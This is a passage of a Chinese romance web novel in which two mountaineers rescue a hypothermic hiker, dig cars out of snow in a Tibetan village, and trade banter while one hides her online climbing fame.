两人给他穿上干爽的衣服,在腹股沟、腋下和脖颈处隔衣服贴了暖宝宝,囫囵吞塞进徐汀云的睡袋里。完成所有的急救措施,华松栩用卫星电话联系了怀远村村委和客栈老板娘央金。
村委会问清位置后立刻响应,一方面联系县上的医院,另一方面派人上山接应,叫她们保持电话通畅。
两人一左一右坐在驴友两侧,终于舒了口气。
不知何时灯光暗了少许,外头又下起了雪来。
徐汀云双臂搭在膝盖上,微垂着头,后颈在暗影中呈现一个锋利的弧度,“你说,能救回来吗?”
华松栩看了过去,“第一次遇到这种情况吧?”
“嗯。”
“你做得很好。”华松栩微微停顿,“应该说,做得非常好。”
徐汀云轻笑了一声,随即意识到此情此景笑出来不合适,急忙敛住神色,只幽幽道:“你还会夸人呢?”
华松栩挑眉,“怎么,以为我只会用甩棍揍人?”
徐汀云说:“不敢。”
沉默瞬息,华松栩冲角落努嘴,“你那把匕首怎么回事?”
哪怕此刻视线受阻,也不妨碍她看清薄如蝉翼的刀刃和手柄上奇艺的花纹,绝非随随便便买来的。
徐汀云这才想起这一茬,倾身将匕首归鞘,在手里掂了掂,“骑自行车走川藏线的时候一藏族姑娘送的,防狼。”
华松栩了然。
徐汀云反问:“你那‘三节棍’呢?”
华松栩唇角一勾,“朋友送的,防——色狼。”
徐汀云语调低平,“……我刚才可都看见了,就在你枕头边。你是在防我对吧?”
华松栩耸肩,“想多了,误会。”
徐汀云:……感觉你在骗我但我没证据。
“所以,你遇到狼了吗?”
“遇到了,而且就在收到匕首的第二天。狼嚎了一晚,我握着匕首在帐篷里睁眼到天明,第二天出帐篷的时候腿都软。”
“是吗?刚看你颇有能和棕熊大战三百回合的勇气。”
“……我在你眼里那么蠢吗?”
“不蠢,勇气。”
徐汀云:……感觉你在忽悠我但我还是没证据。
华松栩从海城出发开了两千多公里加徒步25公里的筋疲力尽,在深度睡眠四个小时后舒缓了许多。今天是12月28日,坐在距离去年山难地点不足10公里的地方,她紧绷的精神也奇迹般地松懈了不少。
忽然,华松栩低声说:“给你讲讲我第一次遇到失温驴友的情况吧。”
徐汀云说:“好。”
“八年前,小白一个,什么都不懂,穿条牛仔裤和杂牌冲锋衣、背个书包就敢往山里跑。”
徐汀云迟疑道:“难道是——”
华松栩微微一笑,“是我。”
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户外小白华松栩因抑郁崩溃和对现实的极度排斥一头扎进山里,遇暴雨衣服湿透轻度失温,连直线都走不了。浑浑噩噩间脚下一空从山坡向下滚了十余米,被来练越野跑的户外达人罗丰救下。自此,罗丰发觉到她的天赋,引领她打开了潘多拉魔盒,义无反顾的开启雪山攀登的篇章。
这位引路人如兄如友,却丧生在了一场突如其来的雪崩里,甚至没来得及交待华松栩最后一句话。
徐汀云措辞半晌,谨慎地问:“后来呢?”
华松栩敛住神色,故作轻松道:“从山坡滚下来,被好心人救了。自此发奋学习户外知识,致力于在遇到类似的情况时,传递当年得到的善意和运气。”
她拍了拍徐汀云的肩膀,补充:“放心吧,会没事的。”
中间躺着的那位驴友体温恢复了些,失了血色的唇嗫嚅,意识似乎在逐渐恢复。
华松栩在保温杯盖中冲泡葡萄糖,“从颈后撑一把,头抬起来。”
徐汀云利落起身,“好。”
虽然喂着流着,但起码喝进去了,多少能补充热量。
华松栩摸了下他颈侧和腋下的温度,不着痕迹地松了口气。
徐汀云眼尖得很,立刻识破了,“所以,你也没底是吧?”
华松栩没肯定也没否认,轻声道:“小弟弟,坐远点。”
方才给中间那位仁兄喂糖水过于专心没留意,这会空下来,才意识到两人离得有多近。徐汀云蹲在右侧,搭在膝盖上的手离华松栩的腰的距离只能用毫米计量。
徐汀云茫然地看了看她的脸,顺着她的视线垂眸看了看自己的手,一下像被踩了尾巴的狗蹦跶起来,“不许用甩棍卡我脖子了啊!我不是故意的,不是色狼!”
华松栩恍若不闻,把自己的腿往睡袋里一塞,开始闭目养神。
徐汀云挣扎片刻,也默默寻了个角落歇下了。
这一夜,两人时不时检查一下男人的情况,都没再睡着。
临近破晓时村上和县上的救援人员赶到,确认男人除了体温依旧偏低外没其他问题后抬上担架。
华松栩迅速收起帐篷穿好冰爪,又把昨夜的厨余垃圾绑在背包带上便跟了上去。
徐汀云上前拦住她,拧眉问:“不往前走了吗?距离你的目的地只剩下七公里了。”
华松栩往反方向看去,看到了雪后晴天的清透,看到了去年同一天走过的路,看到了曾经的自己,唯独没看到逝去的故人。
她收回目光,“不走了,还没到时候。”
徐汀云没看懂她眼里的怅然和伤感,却鬼使神差说:“好,到时候再带你来。”
华松栩兀自往前走,毫无感情地说:“婉拒了。”
5. 破坏气氛
下过雪的山路难走,陡坡横切路线就是难上加难。
华松栩多年功力还好,救援人员可谓地狱级难度。在较平坦的路段可以五位大哥和徐汀云一起抬担架,但在一脚宽的险路上,只容许两人一前一后配合,承担起一个成年男人的重量。
才走出去不到一公里,大家的气息就开始粗重,脚下步伐越来越沉。
徐汀云从斜坡上方超了过去,观察地势后伸手指向东边,“那有个缓坡,换人!”
华松栩压队,发现担架重心总往一边倒。到了平缓地带,她将捆绑低温包裹的绳索重新整理了一番。
救援领头的大哥看着她的手法,点点头,“专业的。”
华松栩收手,“以前学过。”
再次动身,徐汀云直接站在了担架前,准备充当打头的位置。
华松栩蹙眉,低声问:“接下来陡坡下降两百米,你行吗?”
徐汀云一本正经,“咱们也算同生共死的革命战友,还质疑我呢?”
“抬担架没你想的那么简单。你要是一不小心脚滑,那连人带担架都得栽下去。”
“放心,我不做没把握的事情。江湖人称靠谱哥!”
徐汀云开玩笑原是想让华松栩放松些,没想到她听见这话,冷冷睨他,“靠谱哥?你问问你那随风去吧的帐篷答应不答应?”
徐汀云:……
不过最后还是没拗过徐汀云,而且真正走起来他也确实挺稳,华松栩这才放心。并且不得不承认,年轻人体力就是好,天赋异禀。
六人分三组,除了定时轮班交换外众人一路不停,25公里的路程三小时杀到怀远村。伤员一送到,等候多时的救护车呜啦呜啦启动,直奔县医院去了。
村里的大哥和两人握手,“谢谢。要不是二位,去年1228山难又得重提。”
华松栩神色一僵,没说话。徐汀云笑着摆手,“我就是出劳力,智囊还得属这位。”
大哥顺着他的目光看,也笑:“小徐,这是你女朋友?”
“咳咳——”徐汀云呛了下,“不是哥,您误会了。”
大哥眨眼,“那我看早上你俩从一个帐篷出来?”
华松栩冷声说:“因为某个蠢货帐篷飞了。”
徐汀云:“……是,我就是那个蠢货。”
“这样啊。”大哥讪笑。
出了这样的事情,大哥也忙,寒暄几句后匆匆离开了。华松栩也扭头就走。
“哎,等一下你的战友!”徐汀云三步并作两步追上,“十点了,饿了吧?”
华松栩大步流星,“不饿。”
“哦,那你快消化!”
经过昨夜的两阵暴雪,村里每家每户的屋顶都积攒了厚厚一层棉被,远远看去像是一朵朵红茎白顶的小蘑菇,有种静谧的可爱。昨天出发时清理出的路、人们经过踩过的痕迹早已被抹平,天地间一换新装。
华松栩跟着徐汀云一路走到村子角落。石砌的矮墙,屋檐上挑的碉房,还有雕花木门前摆着的一块写有“早饭”的立牌,朴素却又富有藏族特色。
华松栩细细打量,“之前吃过吗?”
徐汀云侧身替她掀起门帘,“我是让别人当小白鼠的人吗?”
擦肩而过时华松栩抬眸,“第一次当向导就让我撞上,我不是小白鼠吗?”
这番站姿二人离得近,徐汀云不自然地错开视线,“咳……你这人,怎么能这么健忘呢?”
徐汀云安顿华松栩坐下,边往收银台走边忿忿地想:明明是你雇我去,怎么就变成小白鼠了?果然女人心,海底针,说出的话只有他当真。
“奶奶,来点粑粑和酥油茶。这会有牦牛汤锅嘛?”
收银台后的藏族奶奶晃悠悠起身,银白色的发丝绑成麻花辫垂于黝黑的面颊两侧,眼角皱纹漾开,慈眉善目地笑,“有的。”
“嗳,那来一份。”
“今天酥油茶要甜的还是咸的?”
徐汀云沉思了一瞬,“今天要甜——”
华松栩没回头,望着门外安静到极致的白,“咸的。”
徐汀云说:“嗳,咸的。”
奶奶笑了,“好。”
徐汀云放下徒步包,在华松栩对面坐定。
从半夜开始几乎没休息,早饭没吃又帮忙抬担架出体力。走的时候还好,一坐下浑身筋骨直发紧。他转了转脖子,像个不倒翁一样朝各个方向伸展,于是成功挡住了某人眺望远方的视线。
这次华松栩没忍,伸出食指从左向右坚定一移,“…….别晃,眼晕。”
徐汀云和她手指同步从右向左一挪,“遵命。”
等菜的功夫,徐汀云问:“打算什么时候走?”
“吃完饭。”
徐汀云哑然,“这么快?不再玩一玩?”
“不玩。”
徐汀云眨眼,“那……村子东边有一块攀冰的地儿,给我展示展示?”
华松栩说:“我说过了,你出卖肉——”
徐汀云眼看奶奶走过来,上下嘴皮子一碰,稳稳接过话来,“卖肉赚得钱比你想的多,牦牛肉很贵的。”
华松栩:“…….”
奶奶笑眯眯地把酥油茶壶放在徐汀云手边,又摆上两只白底镶花瓷碗,“今年牦牛肉就是贵,但是我这的牦牛汤锅不涨价的。”
“谢谢奶奶。”徐汀云嘴甜,“我走之前,天天来吃。”
“嗳,好呀。”奶奶收起餐盘,“牦牛锅还要十五分钟。”
“不急。”
门帘撩起又垂下,悬挂的红蓝珠子碰撞发出清脆的声响。
酥油茶色泽光润,一层轻薄的油脂飘于碗口,香气和升腾的水汽混合沁入鼻腔,暖洋洋的。
华松栩双手捧起一连抿了好几口,全身毛孔都舒展开来,真诚道:“你点的牦牛汤锅,我请。”
徐汀云哭笑不得,“哎不是——”
下一秒,一万一千元的现金放至他面前,“用超高向导费请。”
什么叫财大气粗?从华松栩那双毫无波澜的眸子、到轻描淡写的语气再到轻点红票的素白指尖,简直是视金钱如粪土的精准具像。
徐汀云以高级餐厅服务生倒酒的姿势,左手托右手腕,小心谨慎地推了回去,“今天提前下撤,本质上约定没完成,本向导同意全额退款。”
华松栩放下碗,抬手收了一半,“完成二分之一的约定,那付二分之一。”
华松栩自小就不爱欠人情。她讨厌一切没有定数的安排,讨厌悬而不决的等待,讨厌别人热情帮助而自己无从回报的慌张。故而两人对视,她神色坚定,寸步不让。
良久,徐汀云微叹,从那一叠最顶端抽了两张,晃了晃,“订金,等完成约定再付尾款。”
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华松栩还要争辩,徐汀云嗖地起身,“奶奶我来端我来端!这锅看着就沉,我来!”
“哎,谢谢小伙子。”
“我来村里一个月,可全靠来您家吃牦牛肉维持生活水准。”
“胡说,央金的手艺也很好的。”
“当然好,就是我这人爱吃肉,所以……”
“爱吃就多来。”
“嗳!”
华松栩偏过头去看他笑意吟吟和老板奶奶说话的模样,心念一动。就像在那个不起眼的加油站,徐汀云屡次向萍水相逢的她提供帮助,遭受冷眼和误会也不生气,甚至还愿意零报酬带她上山。
世界上怎么会有人这么阳光,阳光到毫无阴霾。
徐汀云触及她的目光,端着大铁锅灿然一笑,“涨价牦牛肉的不涨价汤锅,尝尝!”
华松栩睫毛颤动,有些狼狈地收回了视线。
原生态出品的牦牛肉韧而不柴,奶白色的汤底鲜而不腻,配上徐汀云精心调制的蘸料,又有屋外凛冽寒风的加持,奔波劳顿的二人不约而同暴风干饭,连滚烫的土豆片都等不及凉,吸溜着便咽了下去。
这桌饭钱是徐汀云用两百订金付的。华松栩想抢,却敌不过某人软磨硬泡外加和老板的私人关系。
收银台前,走起路慢吞吞的奶奶以华松栩都没反应过来的速度,嗖地抢过徐汀云手里的钱,认真地说:“吃饭还是要男孩子请。”
势单力薄的华松栩只得作罢。
不知何时又下起了雪,鹅毛大雪,遮天蔽日的鹅毛大雪。
华松栩站在门前的石阶上仰头望天,有几片雪花识趣地落下了她的睫毛上,怪沉的。但她一直没舍得眨眼。
徐汀云看她,“既然喜欢雪山攀登,也喜欢雪吧?”
华松栩叹息,“又下,能不能等我走了再下。”
“那还不如不下了走。”徐汀云说,“到时候我再陪你去一趟罗普峰。”
华松栩依然不答。
她不动,徐汀云也不催,和她一起看风花雪月。反正人住到山里不就是为了卸掉发条,随心安排每一分每一秒嘛。
那几片雪花缓缓融化了。
华松栩眨了眨发酸的双眼,“刚听你和老板讲,来怀远村住了一个多月了。”
“对,在我那位堪称效率魔鬼的编辑勒令下,来拍12月的要刊登的照片。前天刚刚交稿。”
“什么类型的照片?”
徐汀云张嘴,又闭嘴,“秘密。”
“嗯,还挺有职业道德。”
“那你可当,江湖人称靠谱——”
华松栩拔腿就走。
徐汀云赶紧提起丢在地下的登山包追上,“哎,你真要走?”
华松栩冷漠道:“跟你有关系吗?”
“哦……”男声蔫头巴脑的,“是没关系。”
走了一阵,华松栩发现身后的脚步声不知何时不见了。她驻足,一回首——徐汀云顶着风雪,从十米外向她走来,那张冻得微微泛红的俊脸也逐渐变得清晰。
“昂!”徐汀云掌心向上,是一张照片。一簇蓝紫渐变的花束立于嶙峋乱石之间,不识趣的风吹弯了它纤细的茎,然而淡黄色的花蕊在花瓣的掩映下笔挺非常。
“十年开一次的绿绒蒿,当作离别礼物,送你。”
绿绒蒿的花语,是坚韧和希望。
6. 革命战友
华松栩凝视数秒,徐汀云就这样举着数秒。
“这就是传说中,一张一千的摄影大作。”
“市场价一千,革命战友情无价。”
华松栩接过,挥了挥,“谢谢,两者相比我还是认可市场选择。”
徐汀云说:“哎,原来这就是不被认可的感觉。”
不被认可的徐汀云带着不想认可的华松栩走在回客栈的路上,“现在雪这么大视线不好,你要不再考虑考虑。”
华松栩模棱两可道:“再看。”
徐汀云忽然停下脚步,眼睛从羊毛帽和防风面罩的缝隙瞅她,“进山急,出山也急。你从海城不远万里过来,就为了在路上危险驾驶?”
这时,吱呀一声,途径院落的灰色铁门从内推开,蓬松的积雪随之形成两个扇形的凹陷。一位着黑红相间藏袍、带金花帽的中年男人拎着铲子走了出来。
徐汀云挥手,“扎西德勒!”
男人望过来,“扎西德勒。”
打过招呼,徐汀云回到方才的话题。然而,他发现方才还漫不经心的华松栩正直勾勾地盯着一个方向,整个人格外僵硬。顺着她的目光看去,方才还和善友好的男人此刻面色慑人,如鹰般锐利的目光在华松栩脸上逡巡,藏不住阴沉和反感。
华松栩忽然喘不上气,但她并没有努力深呼吸,而是在胸口憋闷和缺氧的头晕中,冲男人颔首,“扎西德勒。”
她的声音很轻,轻得飘散在了片片落下的雪花里。但在简单的四个字背后,藏着她自己都弄不明白的情绪。
“砰!”
两扇铁门相撞,又颤巍巍地摇摆,最终在风的不懈努力下再次敞开。只是,这次没有了那名藏族男人的身影。
徐汀云没再问华松栩此行的目的。显然,答案不是他一个“不被认可”的路人能知晓的。
剩下的路,两人始终保持沉默,似乎又回到了昨天搭伴出发时的状态。陌生,谨慎,疏离。
快到择木客栈时,此起彼伏的声音夹杂着汽车引擎的声音连同冷气一起钻进了耳朵,将一直在状况外的华松栩拉回现实。
她步伐快了些,拐过弯,顿时明白了情况。
客栈门口,一辆日系越野车展示着愤怒的嘶吼,加上三个藏族小伙使力,那庞大的车轮依然拖了后腿,在雪坑里徒劳地空转。
车陷进雪里了。
华松栩和徐汀云对视一眼,不约而同卸包戴手套上前帮忙。
徐汀云边推边问:“垫个垫子试试呢!”
旁边的藏族小伙咬牙发力,“试过了,下面冰太厚!”
前一轮降雪结冰还未化,新的一轮/暴雪又来。冰上深雪,陷车利器。
华松栩本打算一起推,但人高马大四小伙站在车尾,愣是没找到位置。她看了眼轮胎,又看了眼车牌,了然。南方来自驾的车,雪地胎不换,冰雪路段没开过,实在是没经验。按照这个状态,再来十个小伙都难。
“噌——”
随着马力加大,轮胎越发用力的翻滚,溅起的雪足足有半人高。
“噗——”
“呸——”
“等会等会!!!”
几个壮劳力吸了一嘴冰碴子,急忙叫停。徐汀云把挂在脖颈间的防风面罩掸了掸,脸颊因为受冻吹风泛着不自然的红。
越野车安静下来,华松栩借机敲了敲驾驶座的车窗,“方便的话,我来开试试?”
车主是个年纪不大的男生,此刻面对这种困境又麻烦这么多人,满脸都是歉疚和无措,“好好,谢谢谢谢!”
华松栩从口袋里掏出一路未使用的对讲机,冲徐汀云一抬下巴。后者接收到眼神了然,跑去包里拿了对讲,对好频率,她这才坐上了驾驶座。
“喂喂,能听到吗?”
“可以,听你指挥。”
密封的车厢隔绝风雪,也隔绝了外界的所有声音,只有每一句话开头和末尾的沙沙电流声360度环绕。
华松栩迅速熟悉后,挂D档轻踩油门,“先别推,后退几步。”
从后视镜看去,徐汀云冲几位藏族小哥挥手示意,“明白。”
震颤中,车体缓缓前移,但冰上摩擦力有限很快就开始打滑。在即将回落的瞬间,她迅速换R档加油门倒车,达到高点又将回落的那一秒,换D档再轰油门。这次,轮胎挤压雪坑的临界点比上次高了些。
回落,换R档加油。再回落,换D档加油。在重复的过程中,庞大的越野车依靠重力和四驱积攒势能,每一次都能攀爬到比上一次高一些的地方。
“轰——”
“快了快了!”
“到边上了!”
华松栩看倒车镜的眼神一变,“现在!!!”
徐汀云扬声:“推!!!”
换D档,加油,四个年轻力壮的小伙默契发力。在发动机轰鸣中,华松栩只觉车身一轻,轮胎恢复了抓地的能力,稳稳脱离雪坑。
车终于出来了。
在大家伙欢呼声中,华松栩没放松警惕。直到在雪地上缓缓停稳拉了手刹,这才松了口气,推开车门。
“砰!”
“喂!”她表情空白了一秒,赶紧蹦下车,“你没事吧?!”
徐汀云捂着脸,躺在自己砸出来的人形雪坑里仰天长叹,“哎!原来果郡王躺在雪里的时候,是这样的可怜无助,我决定以后都不跳过甘露寺了。”
华松栩心说得,孩子撞傻了。但作为“肇事者”,她持有良好的协商态度,“那个,你没事吧?”
徐汀云一松手,露出了额角红彤彤的大包。
华松栩:……
两人一站一躺,良久,她没忍住问:“所以你为什么站在门跟前?”
能为什么?还不是徐汀云上赶着去给人家开车门,结果没赶上完成绅士的行动,赶上了钢铁女侠的铁巴掌。
他撇嘴,“这冰冷的质问是怎么回事?”
华松栩无奈地摇摇头,冲他伸手,“麻烦您挪挪窝,先从冰冷的雪里爬出来。”
闻言,方才还耍赖皮的某人坐了起来,配合地握住。她一使劲,却撞上一股相当的力道,硬生生抵消了。
徐汀云仰头,薄唇边浮现一抹似有若无的笑意,“现在,算革命战友了没?”
华松栩回头看了看硕大的雪坑,看了看他脑门上的红肿,点头,“算,必须算。”<
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p>徐汀云大笑,这才一骨碌爬了起来,“行,革命战友就不问你要医药费了。”
方才的尴尬随着他爽朗的笑声,就这样挥挥手散去了。华松栩莫名松了口气。
越野车主叫董宣洋,一周前和女友杜葶来川西自驾旅行,遇到暴雪暂时在怀远村落脚,却没想到雪是一轮接一轮。今天看天气不好,想在下雪前赶去县城,没想到刚开了几十米就陷了车。
两人是连连道谢,还邀请大家伙一起吃午饭。
华松栩语气平淡得有点冷漠,“客气,不用了。”
情侣二人对视,有些尴尬。
徐汀云因某人一如既往的态度而哭笑不得,连忙补充道:“主要我俩刚吃完,再吃体重就超标了。再说举手之劳,实在不用客气。”
“这样啊。”小杜点点头,“眼看我俩也走不了,不然晚上一起吃?我俩在这待了一周该玩的都玩了,闲待着也挺没意思,不如一起喝点酒?”
徐汀云不着痕迹地看了眼华松栩,后者一如既往的面无表情。他单肩挎起登山包,“实在不好意思,我俩刚下山,浑身脏兮兮的,所以……”
华松栩也不着痕迹地看了回去。嗯,小伙子有眼色。
成年人的拒绝都格外委婉,要的就是心照不宣。当然,得排除掉某位人狠话不多的拽姐。
董宣洋搂着女友的肩膀,识趣地说:“那就不打扰你们休息了,之后有机会再约。”
小杜旁观两人暗戳戳的互动,调皮地笑了,压低嗓门,“两位很般配哦!祝久久!”
“额——”
华松栩抢先一步,严肃道:“我俩只是革命战友。”
“扑哧——”徐汀云一个没忍住,随后接收到一记眼刀,急忙正色,“嗯,革命战友。”
和二人告别后,华松栩背包就往停车的地方走,徐汀云像小跟班一样追在后头。
“你今天真要走?你看这能见度,再看看这积雪,刚才那对情侣的车也四驱的,陷进雪里都出不来,走县道多危险啊!”
回应他的只有咯吱咯吱的踩雪声。
单肩背包不用负重系统给徐汀云压得够呛,只能边反手去够另一个肩带边在茫茫大雪中追随那个步履不停的身影,“这天气连本地藏胞都不出行,你开沟里都没人知道!”
华松栩拉开后备箱,把登山包塞了进去。
见某人铁了心,徐汀云叹气,“那我跟你一块出山,到蓉城把我放下。”
华松栩径直坐上驾驶座,砰的一声车门关了,积在窗框上的雪簌簌而下。
徐汀云看不见车内,望着自己映在玻璃的倒影,俊脸更瘫了,“要走起码得把车轱辘的雪铲了——”
砰的一声车门又开了。
华松栩提着一个20L的小包下车,一脸奇怪地看他,“我是不要命的人吗?”
徐汀云迟疑,“你今天不走?”
“这天气怎么走?”华松栩将手里的药包递给他,“昂,里面好几种跌打损伤的药。”
徐汀云眨巴着眼睛,视线灼热,“给我的?”
华松栩有些不自然地望向落在他衣领的雪花,“你都毁容了,革命战友多少得尽一点心意。”
7. 他的女神
华松栩在择木客栈住下了。房间就在徐汀云的隔壁,老板娘央金安排的。
对于革命战友变邻居这件事她没太大反应,倒是徐汀云,定时定点喊她吃饭,偶尔还给她提供小零食小饮料送货上门/服务。按照方木的说法,纯纯舔狗一个。
徐汀云肺腑之言,“我是舔狗没错,因为我想向她学技术!”
方木瞳孔震颤,“.……啊?”
“攀冰!攀冰的技术!”
对于他这点小九九,华松栩心知肚明,懒得拆穿。只是某次吃饭时实在忍不住好奇,问他为什么对于自己很会攀冰这件事如此确信。
徐汀云还不好意思上了,“因为……那个……”
华松栩放下筷子,“你说,说完我再考虑。”
“那我说了你别生气。”
“好。”
徐汀云颤巍巍抬手一指,眼神却飘向了别处,“就是上次送粑粑,无意中看到你锁骨下面有个冰镐的纹身……”
华松栩眼尾微挑,“无意中?”
徐汀云小媳妇状。毕竟纹身很醒目,从衣服领口能露出来。
“小徐?”央金从门口探头,金花帽上落着雪,“帮我看看,这是什么意思?”
“嗳!”徐汀云走了过去。
华松栩端着小纸杯,像吃冰激淋一样品尝老板娘手工制作版粑粑,边往门口看。
逆光,深灰色羊毛衫和冲锋裤勾勒出小徐笔挺的身影,拿着手机给央金解释时神色专注,颇有些成熟稳重的风范,哪有方才和她耍皮的半点模样。
过了几分钟,央金拍了拍他肩膀后往院子去了。小徐回头找华松栩,见她正用一种奇异的目光凝视自己,瞬间汗毛倒竖,“你是不是又要掏甩棍了?”
行,成熟稳重只是暂时的,本质一如既往的皮。
华松栩放下纸杯,正色,“你真想学攀冰?”
徐汀云瞬间收起玩笑,“是。”
“想学攀冰,还是想开始阿式攀登?”
“都想。但想那么多没用,不如先行动。”
华松栩凉凉道:“京大博三的高山摄影师,你有多少存款能供你这么造?”
雪山攀登是极限运动。极限代表两个问题,一个是危险,一个是烧钱。
徐汀云拍拍肋骨,“攒了些,卖完腰子就够了。”
“……不教。”
华松栩捞起冲锋衣,一边穿一边走了出去。两天了,这雪还不见停,积雪深度没过小腿,走起路来像被十条八爪鱼束缚,每一步都如有千斤。
她抄起门口的铁锨,冲在厨房忙活的央金打招呼:“老板娘,借用一下,马上回来!”
央金从半开的门缝望来,“嗳!慢点走!”
她挥了挥手。
就这样一步一步创造性地开辟了条线路,华松栩终于抵达了冰雪奇缘之神奇车车现场。放眼望去,一群不能说完全相同但也相差无几的雪包整齐列队。每个雪包竖起两根雨刮器,打眼一看像是坟头的墓牌,吓人得很。
某车主扶额:好嘛,这下谁分得清是依维柯还是牧马人?
还好华松栩方位感不错,按照记忆追溯和逻辑推断后找到了自己的雪包。原本一米九的车高,现在一米六五的她都能望见车顶。
她带好手套,长叹一口气,抡起铁锨开始干活。歌里唱的是在小小的花园里挖呀挖呀挖,她这是在大大的雪堆里挖呀挖呀挖。
海拔四千多米的地方,还下着雪,有一种从蓄水池里往出舀水却忘了关水龙头的虚无感。但华松栩没放弃,一铲子一铲子越抡越快,充分展现了欲与天公试比速度的决心。
挖着挖着,她发现挖错了。
她的车是蓝的,挖出来了个黑的。
华松栩僵住,并无语凝噎。
“哎哎——”
这时,徐汀云如孙猴子海边戏水一般踏雪飞奔而来,甚至因过分用力嘶吼而破音,“不、是、那、一、辆!!!”
华松栩沉默。
徐汀云赶到案发现场看到那一米深坑,也沉默。
半晌,他说:“这是陷车情侣的车,我替你去要感谢信。”
华松栩干巴巴说:“好,我真的很需要。”
看她一脸倒霉样,徐汀云扑哧一笑,“上来吧川西好人?”
华松栩把铲子一丢,吭哧吭哧从自己亲手刨的坑里爬出来。然而经过她奋力拼搏,铲过的雪松软非常。
于是川西好人脚下一沉,重心一歪,摔进了一个又冷又硬的怀抱。
小徐每天高高兴兴,说话温声和气,偶尔耍皮搞怪,按理来说是个柔和似水的人。然而华松栩这一摔,左脸左肩都抵上了他胸膛,被硌得生疼。疼得她停顿了好几秒,没动。
胸腔振动,声音从骨骼和声音两种介质传来,似有两重回响,“内个……你你没事吧?”
华松栩扶了下他虚揽着自己的胳膊肘,站稳了,“谢谢。”
她揉揉还在钝痛的面颊,“你怎么知道这不是我的车?”
“啊……哈哈!”
华松栩有点奇怪,看他,这才发现小徐又红温了。
接收到她的目光,徐汀云忽然变成很忙碌模样,摸摸鼻子,摸摸冲锋衣,摸摸大腿,然后一挥雪铲,“我……我帮你铲。”
他嗖嗖跑到正确位置开始干活,挖了半天脑袋里的弦才接上,“这天气走不了,你挖车干什么?”
华松栩盯着已经显露地表的半个车身艰难发声:“你不觉得这个问题,问的太晚了吗?”
“哦。”徐汀云说。
很快,挖掘行动宣告胜利。华松栩在徐汀云灼灼目光中打开后备箱,东摸西摸了半天,最后提出来一个袋子。
徐汀云CPU直接烧干了,好半天后沉痛地说:“来,跟我重复。咖啡上瘾是不可取的。我是理性人,不是动物。理性人是能够戒掉咖啡的。”
华松栩才不管他的抗议,喜滋滋提着咖啡豆磨豆机布粉器摩卡壶,“谢谢你,人间挖掘机。”
徐汀云:“……”
半小时后,徐汀云手捧热气腾腾的高原版拿铁,吸溜了一口又一口,“好喝,活过来了。”
华松栩半倚橱柜,一手端保温杯另一手提奶壶,通过控制奶泡的方向和流速与咖啡充分混合,紧接着眉头拧起,以比打岩钉都认真百倍的
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专注完成拉花,这才松了口气,“你的。”
方木双手接过,流下两行清泪,“谢谢!”
徐汀云瞅瞅方木的,又瞅瞅自己的,“我的怎么这么敷衍,他的就那么精致?”
徐汀云的那杯是基础的爱心,方木这杯是一片小枫叶。无论从稀有程度和难度来说,显然后者更胜一筹。
方木掏出手机狠狠拍它十几张照片,“说明我招人喜欢。”
华松栩咖啡师此刻忙着呢,立刻开始下一杯顾客订单的制作,倒是一旁等待的董宣洋和小杜二人接了话。
小杜悄悄说:“你的可是爱心哎!爱心!”
徐汀云眨眼,“所以呢?”
方木拍完照,一口气喝了半杯,“跟他说这些没用。除了那位他昼思夜想却遥不可及的自由攀女神以外,他对其他——”
他摆摆手,“都没兴趣。”
方木没说完的是,就连眼前这位貌美如花的咖啡师,也是因为和他女神一样会攀冰才得青眼。
徐汀云打断:“那是我偶像。在充斥着一众男人的领域大放异彩,所以要特别强调她的性别。”
华松栩被自由攀三个字吸引,抬头看了眼方木。国内女登山运动员屈指可数,称得上女神的还真猜不出来,“你女神是?”
徐汀云一拍脑袋,对啊!他怎么就忘记眼前有个圈内人呢?于是迫切反问:“你用DDAY论坛吗?她的ID叫阿栩!”
华松栩:………………
一番变幻莫测的表情后,她平静了,“不好意思没听过,八成是个骗子。”
徐汀云反驳:“不可能,她还接受过《旷野》的专访,只是不想露脸没刊登照片。”
“所以才是骗子。”华松栩都不知道自己在胡邹什么。
“姐,快别说了,再说他都要碎了。”方木叹气,“他就是为了女神才去的《旷野》,结果依然遥不可及。都是命啊!”
小徐也叹气,忧伤得很。
恰好鲜奶用完了。华松栩丢下一句我去厨房,提着壶就跑了出来,颇有些落荒而逃的味道。
她现在是一千一万个庆幸,至今徐汀云都不知道她的全名。DDAY论坛是她从年少时期就开始记录户外的地方,写了很多现在看来很咯噔的文字。这种情况掉马,她非得连夜扛车跑路不行。
小杜望着华松栩的背影直到消失,蹙眉问:“你当着她的面,怎么能夸别的女人呢?你这样不是惹人吃醋吗?”
徐汀云茫然,“吃醋?吃没我女神水平高的醋?”
董宣洋恨铁不成钢,“你怎么能有别的女神呢?女神只有一个,就是女朋友!”
小杜和男友十指相扣,狠狠点头。
“不是,什么女朋友?我哪来的女朋友?”徐汀云终于品过味来,“真不是,我俩是单纯的革命战友。”
华松栩淋了一番雪,终于披上了镇静自若的外表,提着央金给的半壶奶进屋,结果听见董宣洋说:“你不要害羞,我俩都看见了。”
徐汀云问:“看见什么了?”
“看到你俩在停车场搂搂抱抱不肯撒手了!”
华松栩调头就走了。
8. 意见相左
吃午饭时,前半场的氛围很诡异,诡异得其乐融融。
徐汀云一脸浩然正气,方木眼观鼻鼻观心不多言语,小杜几次三番给华松栩夹菜道谢,董宣洋则大谈这次旅行的经历。
华松栩本就不是多话的人,默默吃,边吃边听。
许是太沉默让请客的人过意不去,小杜给她倒了杯酥油茶,“听徐哥说你从海城过来,在那工作吗?”
“是海城人。”
她一开口,几道视线立刻聚集。董宣洋感慨:“同是南方人,你在冰雪路段行车水平怎么如此高超?是我给大家拖后腿了!”
华松栩说:“开得多就好。”
董宣洋讪笑两声。
小杜没放弃,“那你这次出来玩是——休假吗?”
华松栩说:“不算。”
小杜也讪笑了两声。
“你做什么工作呢?”
“目前失业。”
“……”
“来这边徒步,也喜欢户外吧?”
“以前。”
“……”
问就是把天聊死了,接不下去了,就算强行接下去,依然被聊死。
华松栩放下筷子,扫了眼自始至终都没说话的徐汀云,“你们吃,我去抽根烟。”
“哎——”小杜问,“这就饱了?”
“饱了,谢谢款待。”
女人那抹纤细挺拔的身形彻底消失,方木终于咽下了那块卡在喉咙的牦牛肉,“吁!这姐姐比雪山尖尖都冷,吓人。”
小杜倒不甚在意,笑了笑,“每个人性格不一样。冷一点也不影响她是个很好的人。”
徐汀云握着筷子的手紧了又紧,最后“啪”的一声拍回桌上,抽过纸巾擦了擦嘴,扔下一句我去看看,便追了出去。
